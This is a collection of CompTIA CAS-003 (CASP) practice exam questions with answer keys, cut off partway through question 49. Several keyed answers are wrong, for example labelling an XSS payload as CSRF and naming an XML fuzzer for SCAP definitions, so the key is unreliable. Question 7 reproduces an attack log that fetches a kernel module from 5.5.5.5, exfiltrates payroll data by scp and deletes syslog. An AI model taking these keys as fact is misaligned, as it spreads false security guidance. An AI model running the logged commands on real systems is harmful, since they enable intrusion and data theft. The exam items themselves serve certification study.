

**CAS-003.80q**

Number: CAS-003  
Passing Score: 800  
Time Limit: 120 min

**CAS-003**



**CompTIA Advanced Security Practitioner (CASP)**

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## Exam A

### QUESTION 1

An SQL database is no longer accessible online due to a recent security breach. An investigation reveals that unauthorized access to the database was possible due to an SQL injection vulnerability. To prevent this type of breach in the future, which of the following security controls should be put in place before bringing the database back online? (Choose two.)

- A. Secure storage policies
- B. Browser security updates
- C. Input validation
- D. Web application firewall
- E. Secure coding standards
- F. Database activity monitoring

**Correct Answer:** CF

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 2

A company has entered into a business agreement with a business partner for managed human resources services. The Chief Information Security Officer (CISO) has been asked to provide documentation that is required to set up a business-to-business VPN between the two organizations. Which of the following is required in this scenario?



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- A. ISA
- B. BIA
- C. SLA
- D. RA

**Correct Answer:** C

**Section:** (none)

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## Explanation

## Explanation/Reference:

### QUESTION 3

Given the following output from a local PC:

```
C:\>ipconfig

Windows IP Configuration

Wireless LAN adapter Wireless Network Connection:
Connection-specific DNS Suffix . : comptia.org
Link-local IPv6 Address . . . . . : fe80::4551:67ba:77a6:62e1%11
IPv4 Address. . . . . : 172.30.0.28
Subnet Mask . . . . . : 255.255.0.0
Default Gateway . . . . . : 172.30.0.5
C:\>
```

Which of the following ACLs on a stateful host-based firewall would allow the PC to serve an intranet website?

- A. Allow 172.30.0.28:80 -> ANY
- B. Allow 172.30.0.28:80 -> 172.30.0.0/16
- C. Allow 172.30.0.28:80 -> 172.30.0.28:443
- D. Allow 172.30.0.28:80 -> 172.30.0.28:53

**Correct Answer: B**

**Section: (none)**

**Explanation**

## Explanation/Reference:

### QUESTION 4

A penetration tester has been contracted to conduct a physical assessment of a site. Which of the following is the MOST plausible method of social engineering to be conducted during this engagement?

- A. Randomly calling customer employees and posing as a help desk technician requiring user password to resolve issues
- B. Posing as a copier service technician and indicating the equipment had “phoned home” to alert the technician for a service call
- C. Simulating an illness while at a client location for a sales call and then recovering once listening devices are installed
- D. Obtaining fake government credentials and impersonating law enforcement to gain access to a company facility

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 5

A penetration tester is conducting an assessment on Comptia.org and runs the following command from a coffee shop while connected to the public Internet:

```
C:\nslookup -querytype=MX comptia.org
```

```
Server: Unknown
```

```
Address: 198.51.100.45
```

```
comptia.org MX preference=10, mail exchanger = 92.68.102.33
```

```
comptia.org MX preference=20, mail exchanger = exchgl.comptia.org
```

```
exchgl.comptia.org      Internet address = 192.168.102.67
```

Which of the following should the penetration tester conclude about the command output?

- A. The public/private views on the Comptia.org DNS servers are misconfigured
- B. Comptia.org is running an older mail server, which may be vulnerable to exploits
- C. The DNS SPF records have not been updated for Comptia.org
- D. 192.168.102.67 is a backup mail server that may be more vulnerable to attack

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 6

A security engineer is designing a system in which offshore, outsourced staff can push code from the development environment to the production environment securely. The security engineer is concerned with data loss, while the business does not want to slow down its development process. Which of the following solutions BEST balances security requirements with business need?

- A. Set up a VDI environment that prevents copying and pasting to the local workstations of outsourced staff members
- B. Install a client-side VPN on the staff laptops and limit access to the development network
- C. Create an IPSec VPN tunnel from the development network to the office of the outsourced staff
- D. Use online collaboration tools to initiate workstation-sharing sessions with local staff who have access to the development network

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 7**

A security administrator was informed that a server unexpectedly rebooted. The administrator received an export of syslog entries for analysis:

```
May 4 08:08:00 Server A: on console user jsmith: exec 'ls -l
/data/finance/payroll/*.xls'
May 4 08:08:00 Server A: on console user jsmith: Access denied on
/data/finance/
May 4 08:08:07 Server A: on console user jsmith: exec 'whoami'
May 4 08:08:10 Server A: on console user jsmith: exec 'wget
5.5.5.5/modinject.o -O /tmp/downloads/modinject.o'
May 4 08:08:20 Server A: on console user jsmith: exec 'insmod
/tmp/downloads/modinject.o'
May 4 08:08:10 Server A: on console user root: exec 'whoami'
May 4 08:09:37 Server A: on console user root: exec 'ls -
l/data/finance/payroll/*.xls'
May 4 08:09:43 Server A: on console user root: exec 'gpg -e
/data/finance/payroll/g1-May2017.xls'
May 4 08:09:55 Server A: on console user root: exec 'scp
/data/finance/payroll/g1-May2017.gpg root@5.5.5.5:'
May 4 08:10:03 Server A: on console user root: exec 'rm-rf
/var/log/syslog'
May 4 08:10:05 Server A: on console user jsmith: exec 'rmmod
modinject.o'
May 4 08:10:05 Server A: kernel: PANIC 'unable to handle paging request
at 0x45A800c'
May 4 08:10:05 Server A: kernel: Automatic reboot initiated
May 4 08:10:06 Server A: kernel: Syncing disks
May 4 08:10:06 Server A: kernel: Reboot
May 4 08:12:25 Server A: kernel: System init
May 4 08:12:25 Server A: kernel: Configured from console by console
May 4 08:12:42 Server A: kernel: Logging initialized (build:5.8.0.2469)
May 4 08:13:34 Server A: kernel: System changed state to up
May 4 08:14:23 Server A: kernel: System startup succeeded
```

Which of the following does the log sample indicate? (Choose two.)

- A. A root user performed an injection attack via kernel module
- B. Encrypted payroll data was successfully decrypted by the attacker
- C. Jsmith successfully used a privilege escalation attack
- D. Payroll data was exfiltrated to an attacker-controlled host
- E. Buffer overflow in memory paging caused a kernel panic
- F. Syslog entries were lost due to the host being rebooted

**Correct Answer:** CE

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 8

To prepare for an upcoming audit, the Chief Information Security Officer (CISO) asks for all 1200 vulnerabilities on production servers to be remediated. The security engineer must determine which vulnerabilities represent real threats that can be exploited so resources can be prioritized to migrate the most dangerous risks. The CISO wants the security engineer to act in the same manner as would an external threat, while using vulnerability scan results to prioritize any actions. Which of the following approaches is described?

- A. Blue team
- B. Red team
- C. Black box
- D. White team

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

Reference: <http://resources.infosecinstitute.com/the-types-of-penetration-testing/#gref>

#### QUESTION 9

A security analyst is reviewing the corporate MDM settings and notices some disabled settings, which consequently permit users to download programs from untrusted developers and manually install them. After some conversations, it is confirmed that these settings were disabled to support the internal development of mobile applications. The security analyst is now recommending that developers and testers have a separate device profile allowing this, and that the rest of the organization's users do not have the ability to manually download and install untrusted applications. Which of the following settings should be toggled to achieve the goal? (Choose two.)

- A. OTA updates
- B. Remote wiping
- C. Side loading
- D. Sandboxing
- E. Containerization
- F. Signed applications

**Correct Answer:** EF

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 10**

An internal penetration tester was assessing a recruiting page for potential issues before it was pushed to the production website. The penetration tester discovers an issue that must be corrected before the page goes live. The web host administrator collects the log files below and gives them to the development team so improvements can be made to the security design of the website.



```
[00:00:09] "GET /cgi-bin/forum/commentary.pl/noframes/read/209 HTTP/1.1"
200 6863
"http://search.company.com/search/cgi/search.cgi?qs=download=&dom=s&offset=0&hits=10&switch=0&f=us"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.7.0)"
[00:00:12] "GET /js/master.js HTTP/1.1" 200 2263
"http://www.company.com/cgi-bin/forum/commentary.pl/noframes/read/209"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.7.0)"
[00:00:22] "GET /internet/index.html HTTP/1.1" 200 6792
"http://www.company.com/video/streaming/http.html"
"Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.6) Gecko/20040413
Debian/1.6-5"
[00:00:25] "GET /showFile.action?fileName=<script> alert("an error has
occurred, please send your username and password to me@example.com")
</script> 200
[00:00:27] "GET /contracts.html HTTP/1.0" 200 4595 "-" "FAST-
WebCrawler/2.1-pre2 (ashen@company.net)"
[00:00:29] "GET /news/news.html HTTP/1.0" 200 16716 "-" "FAST-
WebCrawler/2.1-pre2 (ashen@company.net)"
[00:00:29] "GET /download/windows/asctab31.zip HTTP/1.0" 200 1540096
"http://www.company.com/downloads/freeware/webdevelopment/15.html"
"Mozilla/4.7 [en]C-SYMPA (Win95; U)"
[00:00:30] "GET /pics/wpaper.gif HTTP/1.0" 200 6248
"http://www.comptia.com/asctortf/" "Mozilla/4.05 (Macintosh; I; PPC)"
```

Which of the following types of attack vector did the penetration tester use?

- A. SQLi
- B. CSRF
- C. Brute force
- D. XSS
- E. TOC/TOU

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 11**

The Chief Information Security Officer (CISO) for an organization wants to develop custom IDS rulesets faster, prior to new rules being released by IDS vendors. Which of the following BEST meets this objective?

- A. Identify a third-party source for IDS rules and change the configuration on the applicable IDSs to pull in the new rulesets
- B. Encourage cybersecurity analysts to review open-source intelligence products and threat database to generate new IDS rules based on those sources
- C. Leverage the latest TCP- and UDP-related RFCs to arm sensors and IDSs with appropriate heuristics for anomaly detection
- D. Use annual hacking conventions to document the latest attacks and threats, and then develop IDS rules to counter those threats

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 12**

After embracing a BYOD policy, a company is faced with new security challenges from unmanaged mobile devices and laptops. The company's IT department has seen a large number of the following incidents:

- Duplicate IP addresses
- Rogue network devices
- Infected systems probing the company's network

Which of the following should be implemented to remediate the above issues? (Choose two.)

- A. Port security
- B. Route protection
- C. NAC
- D. HIPS
- E. NIDS

**Correct Answer:** BC

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 13**

A Chief Information Officer (CIO) publicly announces the implementation of a new financial system. As part of a security assessment that includes a social engineering task, which of the following tasks should be conducted to demonstrate the BEST means to gain information to use for a report on social vulnerability details about the financial system?

- A. Call the CIO and ask for an interview, posing as a job seeker interested in an open position
- B. Compromise the email server to obtain a list of attendees who responded to the invitation who is on the IT staff
- C. Notify the CIO that, through observation at events, malicious actors can identify individuals to befriend
- D. Understand the CIO is a social drinker, and find the means to befriend the CIO at establishments the CIO frequents

**Correct Answer: D**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 14**

A systems administrator at a medical imaging company discovers protected health information (PHI) on a general purpose file server. Which of the following steps should the administrator take NEXT?

- A. Isolate all of the PHI on its own VLAN and keep it segregated at Layer 2
- B. Immediately encrypt all PHI with AES 256
- C. Delete all PHI from the network until the legal department is consulted
- D. Consult the legal department to determine legal requirements

**Correct Answer: B**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 15**

A Chief Information Security Officer (CISO) is reviewing the results of a gap analysis with an outside cybersecurity consultant. The gap analysis reviewed all procedural and technical controls and found the following:

- High-impact controls implemented: 6 out of 10
- Medium-impact controls implemented: 409 out of 472
- Low-impact controls implemented: 97 out of 1000

The report includes a cost-benefit analysis for each control gap. The analysis yielded the following information:

- Average high-impact control implementation cost: \$15,000; Probable ALE for each high-impact control gap: \$95,000
- Average medium-impact control implementation cost: \$6,250; Probable ALE for each medium-impact control gap: \$11,000

Due to the technical construction and configuration of the corporate enterprise, slightly more than 50% of the medium-impact controls will take two years to fully implement. Which of the following conclusions could the CISO draw from the analysis?

- A. Too much emphasis has been placed on eliminating low-risk vulnerabilities in the past
- B. The enterprise security team has focused exclusively on mitigating high-level risks
- C. Because of the significant ALE for each high-risk vulnerability, efforts should be focused on those controls
- D. The cybersecurity team has balanced residual risk for both high and medium controls

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 16**

A company monitors the performance of all web servers using WMI. A network administrator informs the security engineer that web servers hosting the company's client-facing portal are running slowly today. After some investigation, the security engineer notices a large number of attempts at enumerating host information via SNMP from multiple IP addresses. Which of the following would be the BEST technique for the security engineer to employ in an attempt to prevent reconnaissance activity?

- A. Install a HIPS on the web servers
- B. Disable inbound traffic from offending sources
- C. Disable SNMP on the web servers
- D. Install anti-DDoS protection in the DMZ

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 17**

The board of a financial services company has requested that the senior security analyst acts as a cybersecurity advisor in order to comply with recent federal legislation. The analyst is required to give a report on current cybersecurity and threat trends in the financial services industry at the next board meeting. Which of the following would be the BEST methods to prepare this report? (Choose two.)

- A. Review the CVE database for critical exploits over the past year
- B. Use social media to contact industry analysts
- C. Use intelligence gathered from the Internet relay chat channels
- D. Request information from security vendors and government agencies
- E. Perform a penetration test of the competitor's network and share the results with the board

**Correct Answer:** AD

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 18**

A software development team is conducting functional and user acceptance testing of internally developed web applications using a COTS solution. For automated testing, the solution uses valid user credentials from the enterprise directory to authenticate to each application. The solution stores the username in plain text and the corresponding password as an encoded string in a script within a file, located on a globally accessible network share. The account credentials used belong to the development team lead. To reduce the risks associated with this scenario while minimizing disruption to ongoing testing, which of the following are the BEST actions to take? (Choose two.)

- A. Restrict access to the network share by adding a group only for developers to the share's ACL
- B. Implement a new COTS solution that does not use hard-coded credentials and integrates with directory services
- C. Obfuscate the username within the script file with encoding to prevent easy identification and the account used
- D. Provision a new user account within the enterprise directory and enable its use for authentication to the target applications. Share the username and password with all developers for use in their individual scripts
- E. Redesign the web applications to accept single-use, local account credentials for authentication

**Correct Answer:** AB

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 19**

Management is reviewing the results of a recent risk assessment of the organization's policies and procedures. During the risk assessment it is determined that procedures associated with background checks have not been effectively implemented. In response to this risk, the organization elects to revise policies and procedures related to background checks and use a third-party to perform background checks on all new employees. Which of the following risk management strategies has the organization employed?

- A. Transfer
- B. Mitigate
- C. Accept
- D. Avoid
- E. Reject

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 20**

A security engineer must establish a method to assess compliance with company security policies as they apply to the unique configuration of individual endpoints, as well as to the shared configuration policies of common devices.

Policy	Device Type	% of Devices Compliant
Local Administration Accounts Renamed	Server	65%
Guest Account Disabled	Host	30%
Local Firewall Enabled	Host	80%
Password Complexity Enabled	Server	46%

Which of the following tools is the security engineer using to produce the above output?



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- A. Vulnerability scanner
- B. SIEM
- C. Port scanner
- D. SCAP scanner

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 21**

An organization is preparing to develop a business continuity plan. The organization is required to meet regulatory requirements relating to confidentiality and availability, which are well-defined. Management has expressed concern following initial meetings that the organization is not fully aware of the requirements associated with the regulations. Which of the following would be MOST appropriate for the project manager to solicit additional resources for during this phase of the project?

- A. After-action reports
- B. Gap assessment
- C. Security requirements traceability matrix
- D. Business impact assessment
- E. Risk analysis

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 22**

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A SaaS-based email service provider often receives reports from legitimate customers that their IP netblocks are on blacklists and they cannot send email. The SaaS has confirmed that affected customers typically have IP addresses within broader network ranges and some abusive customers within the same IP ranges may have performed spam campaigns. Which of the following actions should the SaaS provider perform to minimize legitimate customer impact?

- A. Inform the customer that the service provider does not have any control over third-party blacklist entries. The customer should reach out to the blacklist operator directly
- B. Perform a takedown of any customer accounts that have entries on email blacklists because this is a strong indicator of hostile behavior
- C. Work with the legal department and threaten legal action against the blacklist operator if the netblocks are not removed because this is affecting legitimate traffic
- D. Establish relationship with a blacklist operators so broad entries can be replaced with more granular entries and incorrect entries can be quickly pruned

**Correct Answer: D**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

#### **QUESTION 23**

A forensics analyst suspects that a breach has occurred. Security logs show the company's OS patch system may be compromised, and it is serving patches that contain a zero-day exploit and backdoor. The analyst extracts an executable file from a packet capture of communication between a client computer and the patch server. Which of the following should the analyst use to confirm this suspicion?

- A. File size
- B. Digital signature
- C. Checksums
- D. Anti-malware software
- E. Sandboxing

**Correct Answer: B**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

#### **QUESTION 24**

A security architect is implementing security measures in response to an external audit that found vulnerabilities in the corporate collaboration tool suite. The report identified the lack of any mechanism to provide confidentiality for electronic correspondence between users and between users and group mailboxes. Which of the following controls would BEST mitigate the identified vulnerability?



- A. Issue digital certificates to all users, including owners of group mailboxes, and enable S/MIME
- B. Federate with an existing PKI provider, and reject all non-signed emails
- C. Implement two-factor email authentication, and require users to hash all email messages upon receipt
- D. Provide digital certificates to all systems, and eliminate the user group or shared mailboxes

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 25**

A company is developing requirements for a customized OS build that will be used in an embedded environment. The company procured hardware that is capable of reducing the likelihood of successful buffer overruns while executables are processing. Which of the following capabilities must be included for the OS to take advantage of this critical hardware-based countermeasure?

- A. Application whitelisting
- B. NX/XN bit
- C. ASLR
- D. TrustZone
- E. SCP

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 26**

After multiple service interruptions caused by an older datacenter design, a company decided to migrate away from its datacenter. The company has successfully completed the migration of all datacenter servers and services to a cloud provider. The migration project includes the following phases:

- Selection of a cloud provider
- Architectural design
- Microservice segmentation
- Virtual private cloud
- Geographic service redundancy

- Service migration

The Chief Information Security Officer (CISO) is still concerned with the availability requirements of critical company applications. Which of the following should the company implement NEXT?

- A. Multicloud solution
- B. Single-tenancy private cloud
- C. Hybrid cloud solution
- D. Cloud access security broker

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 27

A security controls assessor intends to perform a holistic configuration compliance test of networked assets. The assessor has been handed a package of definitions provided in XML format, and many of the files have two common tags within them: "<object object\_ref=... />" and "<state state\_ref=... />". Which of the following tools BEST supports the use of these definitions?

- A. HTTP interceptor
- B. Static code analyzer
- C. SCAP scanner
- D. XML fuzzer

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### QUESTION 28

A hospital's security team recently determined its network was breached and patient data was accessed by an external entity. The Chief Information Security Officer (CISO) of the hospital approaches the executive management team with this information, reports the vulnerability that led to the breach has already been remediated, and explains the team is continuing to follow the appropriate incident response plan. The executive team is concerned about the hospital's brand reputation and asks the CISO when the incident should be disclosed to the affected patients. Which of the following is the MOST appropriate response?

- A. When it is mandated by their legal and regulatory requirements
- B. As soon as possible in the interest of the patients
- C. As soon as the public relations department is ready to be interviewed
- D. When all steps related to the incident response plan are completed
- E. Upon the approval of the Chief Executive Officer (CEO) to release information to the public

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 29**

A team is at the beginning stages of designing a new enterprise-wide application. The new application will have a large database and require a capital investment in hardware. The Chief Information Officer (CIO) has directed the team to save money and reduce the reliance on the datacenter, and the vendor must specialize in hosting large databases in the cloud. Which of the following cloud-hosting options would BEST meet these needs?

- A. Multi-tenancy SaaS
- B. Hybrid IaaS
- C. Single-tenancy PaaS
- D. Community IaaS

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 30**

A business is growing and starting to branch out into other locations. In anticipation of opening an office in a different country, the Chief Information Security Officer (CISO) and legal team agree they need to meet the following criteria regarding data to open the new office:

- Store taxation-related documents for five years
- Store customer addresses in an encrypted format
- Destroy customer information after one year
- Keep data only in the customer's home country

Which of the following should the CISO implement to BEST meet these requirements? (Choose three.)

- A. Capacity planning policy
- B. Data retention policy
- C. Data classification standard
- D. Legal compliance policy
- E. Data sovereignty policy
- F. Backup policy
- G. Acceptable use policy
- H. Encryption standard

**Correct Answer:** BCH

**Section: (none)**

**Explanation**

**Explanation/Reference:**

#### **QUESTION 31**

A company contracts a security engineer to perform a penetration test of its client-facing web portal. Which of the following activities would be MOST appropriate?

- A. Use a protocol analyzer against the site to see if data input can be replayed from the browser
- B. Scan the website through an interception proxy and identify areas for the code injection
- C. Scan the site with a port scanner to identify vulnerable services running on the web server
- D. Use network enumeration tools to identify if the server is running behind a load balancer

**Correct Answer:** C

**Section: (none)**

**Explanation**

**Explanation/Reference:**

#### **QUESTION 32**

A large enterprise with thousands of users is experiencing a relatively high frequency of malicious activity from the insider threats. Much of the activity appears to involve internal reconnaissance that results in targeted attacks against privileged users and network file shares. Given this scenario, which of the following would MOST likely prevent or deter these attacks? (Choose two.)

- A. Conduct role-based training for privileged users that highlights common threats against them and covers best practices to thwart attacks
- B. Increase the frequency at which host operating systems are scanned for vulnerabilities, and decrease the amount of time permitted between vulnerability

identification and the application of corresponding patches

- C. Enforce command shell restrictions via group policies for all workstations by default to limit which native operating system tools are available for use
- D. Modify the existing rules of behavior to include an explicit statement prohibiting users from enumerating user and file directories using available tools and/or accessing visible resources that do not directly pertain to their job functions
- E. For all workstations, implement full-disk encryption and configure UEFI instances to require complex passwords for authentication
- F. Implement application blacklisting enforced by the operating systems of all machines in the enterprise

**Correct Answer:** CD

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### **QUESTION 33**

Given the code snippet below:

```
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    char username[8];

    printf("Enter your username: ");
    gets(username)

    printf("\n");

    if (username == NULL) {
        printf("you did not enter a username\n");
    }

    if strcmp(username, "admin") {
        printf("%s", "Admin user, enter your physical token value: ");
        // rest of conditional logic here has been snipped for brevity
    } else {
        printf("Standard user, enter your password: ");
        // rest of conditional logic here has been snipped for brevity
    }
}
```

Which of the following vulnerability types is the MOST concerning?

- A. Only short usernames are supported, which could result in brute forcing of credentials.
- B. Buffer overflow in the username parameter could lead to a memory corruption vulnerability.
- C. Hardcoded usernames with different code paths taken depend on which user is entered.
- D. Format string vulnerability is present for admin users but not for standard users.

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 34**

A company's existing forward proxies support software-based TLS decryption, but are currently at 60% load just dealing with AV scanning and content analysis for HTTP traffic. More than 70% outbound web traffic is currently encrypted. The switching and routing network infrastructure precludes adding capacity, preventing the installation of a dedicated TLS decryption system. The network firewall infrastructure is currently at 30% load and has software decryption modules that can be activated by purchasing additional license keys. An existing project is rolling out agent updates to end-user desktops as part of an endpoint security refresh.

Which of the following is the BEST way to address these issues and mitigate risks to the organization?

- A. Purchase the SSL, decryption license for the firewalls and route traffic back to the proxies for end-user categorization and malware analysis.
- B. Roll out application whitelisting to end-user desktops and decommission the existing proxies, freeing up network ports.
- C. Use an EDP solution to address the malware issue and accept the diminishing role of the proxy for URL categorization in the short term.
- D. Accept the current risk and seek possible funding approval in the next budget cycle to replace the existing proxies with ones with more capacity.

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 35**

An information security officer is responsible for one secure network and one office network. Recent intelligence suggests there is an opportunity for attackers to gain access to the secure network due to similar login credentials across networks. To determine the users who should change their information, the information security officer uses a tool to scan a file with hashed values on both networks and receives the following data:

Corporate Network		Secure Network	
james.bond	asHU8\$1bg	jbond	asHU8\$1bg
tom.jones	wit4njyt%I	tom.jones	wit4njyt%I
dade.murphy	mUrpHTIME7	d.murph3	t%w3BT9)n
herbie.hancock	hh2016!#	hhanco	hh2016!#2
suzy.smith	1Li*#HFadf	ssmith	1LI*#HFadf

Which of the following tools was used to gather this information from the hashed values in the file?

- A. Vulnerability scanner
- B. Fuzzer
- C. MD5 generator
- D. Password cracker
- E. Protocol analyzer

**Correct Answer: C**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

### QUESTION 36

A Chief Information Security Officer (CISO) is reviewing and revising system configuration and hardening guides that were developed internally and have been used several years to secure the organization's systems. The CISO knows improvements can be made to the guides.

Which of the following would be the BEST source of reference during the revision process?

- A. CVE database
- B. Internal security assessment reports
- C. Industry-accepted standards



- D. External vulnerability scan reports
- E. Vendor-specific implementation guides

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 37

A systems administrator recently joined an organization and has been asked to perform a security assessment of controls on the organization's file servers, which contain client data from a number of sensitive systems. The administrator needs to compare documented access requirements to the access implemented within the file system.

Which of the following is MOST likely to be reviewed during the assessment? (Select two.)

- A. Access control list
- B. Security requirements traceability matrix
- C. Data owner matrix
- D. Roles matrix
- E. Data design document
- F. Data access policies

**Correct Answer:** DF

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 38

The legal department has required that all traffic to and from a company's cloud-based word processing and email system is logged. To meet this requirement, the Chief Information Security Officer (CISO) has implemented a next-generation firewall to perform inspection of the secure traffic and has decided to use a cloud-based log aggregation solution for all traffic that is logged.

Which of the following presents a long-term risk to user privacy in this scenario?

- A. Confidential or sensitive documents are inspected by the firewall before being logged.

- B. Latency when viewing videos and other online content may increase.
- C. Reports generated from the firewall will take longer to produce due to more information from inspected traffic.
- D. Stored logs may contain non-encrypted usernames and passwords for personal websites.

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 39

A security analyst has requested network engineers integrate sFlow into the SOC's overall monitoring picture. For this to be a useful addition to the monitoring capabilities, which of the following must be considered by the engineering team?

- A. Effective deployment of network taps
- B. Overall bandwidth available at Internet PoP
- C. Optimal placement of log aggregators
- D. Availability of application layer visualizers

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

### QUESTION 40

Ann, a member of the finance department at a large corporation, has submitted a suspicious email she received to the information security team. The team was not expecting an email from Ann, and it contains a PDF file inside a ZIP compressed archive. The information security team is not sure which files were opened. A security team member uses an air-gapped PC to open the ZIP and PDF, and it appears to be a social engineering attempt to deliver an exploit.

Which of the following would provide greater insight on the potential impact of this attempted attack?

- A. Run an antivirus scan on the finance PC.
- B. Use a protocol analyzer on the air-gapped PC.
- C. Perform reverse engineering on the document.
- D. Analyze network logs for unusual traffic.
- E. Run a baseline analyzer against the user's computer.

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 41**

A new cluster of virtual servers has been set up in a lab environment and must be audited before being allowed on the production network. The security manager needs to ensure unnecessary services are disabled and all system accounts are using strong credentials.

Which of the following tools should be used? (Choose two.)

- A. Fuzzer
- B. SCAP scanner
- C. Packet analyzer
- D. Password cracker
- E. Network enumerator
- F. SIEM

**Correct Answer:** BF

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 42**

A security engineer is embedded with a development team to ensure security is built into products being developed. The security engineer wants to ensure developers are not blocked by a large number of security requirements applied at specific schedule points.

Which of the following solutions BEST meets the engineer's goal?

- A. Schedule weekly reviews of all unit test results with the entire development team and follow up between meetings with surprise code inspections.
- B. Develop and implement a set of automated security tests to be installed on each development team leader's workstation.
- C. Enforce code quality and reuse standards into the requirements definition phase of the waterfall development process.
- D. Deploy an integrated software tool that builds and tests each portion of code committed by developers and provides feedback.

**Correct Answer:** C

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 43**

A security engineer is working with a software development team. The engineer is tasked with ensuring all security requirements are adhered to by the developers.

Which of the following BEST describes the contents of the supporting document the engineer is creating?

- A. A series of ad-hoc tests that each verify security control functionality of the entire system at once.
- B. A series of discrete tasks that, when viewed in total, can be used to verify and document each individual constraint from the SRTM.
- C. A set of formal methods that apply to one or more of the programming languages used on the development project.
- D. A methodology to verify each security control in each unit of developed code prior to committing the code.

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 44**

A security technician is incorporating the following requirements in an RFP for a new SIEM:

- New security notifications must be dynamically implemented by the SIEM engine
- The SIEM must be able to identify traffic baseline anomalies
- Anonymous attack data from all customers must augment attack detection and risk scoring

Based on the above requirements, which of the following should the SIEM support? (Choose two.)

- A. Autoscaling search capability
- B. Machine learning
- C. Multisensor deployment
- D. Big Data analytics
- E. Cloud-based management
- F. Centralized log aggregation

**Correct Answer:** BD

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 45**

The Chief Information Officer (CIO) wants to increase security and accessibility among the organization's cloud SaaS applications. The applications are configured to use passwords, and two-factor authentication is not provided natively.

Which of the following would BEST address the CIO's concerns?

- A. Procure a password manager for the employees to use with the cloud applications.
- B. Create a VPN tunnel between the on-premises environment and the cloud providers.
- C. Deploy applications internally and migrate away from SaaS applications.
- D. Implement an IdP that supports SAML and time-based, one-time passwords.

**Correct Answer:** B

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 46**

During a security assessment, activities were divided into two phases; internal and external exploitation. The security assessment team set a hard time limit on external activities before moving to a compromised box within the enterprise perimeter.

Which of the following methods is the assessment team most likely to employ NEXT?

- A. Pivoting from the compromised, moving laterally through the enterprise, and trying to exfiltrate data and compromise devices.
- B. Conducting a social engineering attack attempt with the goal of accessing the compromised box physically.
- C. Exfiltrating network scans from the compromised box as a precursor to social media reconnaissance
- D. Open-source intelligence gathering to identify the network perimeter and scope to enable further system compromises.

**Correct Answer:** A

**Section:** (none)

**Explanation**

**Explanation/Reference:**

**QUESTION 47**

Which of the following is the GREATEST security concern with respect to BYOD?

- A. The filtering of sensitive data out of data flows at geographic boundaries.
- B. Removing potential bottlenecks in data transmission paths.
- C. The transfer of corporate data onto mobile corporate devices.
- D. The migration of data into and out of the network in an uncontrolled manner.

**Correct Answer: D**

**Section: (none)**

**Explanation**

**Explanation/Reference:**

**QUESTION 48**

Given the following code snippet:

```
SecCond = "1SS"
SecStatus = false
try (
  if (SecStatus)
    SecCond = "2SS"
    console.log("ship to ship")
  else
    SecCond = "normal operations"
    console.log("nothing to see here")
} catch (e) {
  SecCond = "normal operations"
  console.log(e)
  console.log("Exception logged")
}
```

Which of the following failure modes would the code exhibit?

- A. Open
- B. Secure
- C. Halt
- D. Exception

**Correct Answer:** D

**Section:** (none)

**Explanation**

**Explanation/Reference:**

#### **QUESTION 49**

A medical facility wants to purchase mobile devices for doctors and nurses. To ensure accountability, each individual will be assigned a separate mobile device. Additionally, to protect patients' health information, management has identified the following requirements:

- Data must be encrypted at rest.
- The device must be disabled if it leaves the facility.
- The device must be disabled when tampered with.

Which of the following technologies would BEST support these requirements? (Select two.)

- A. eFuse
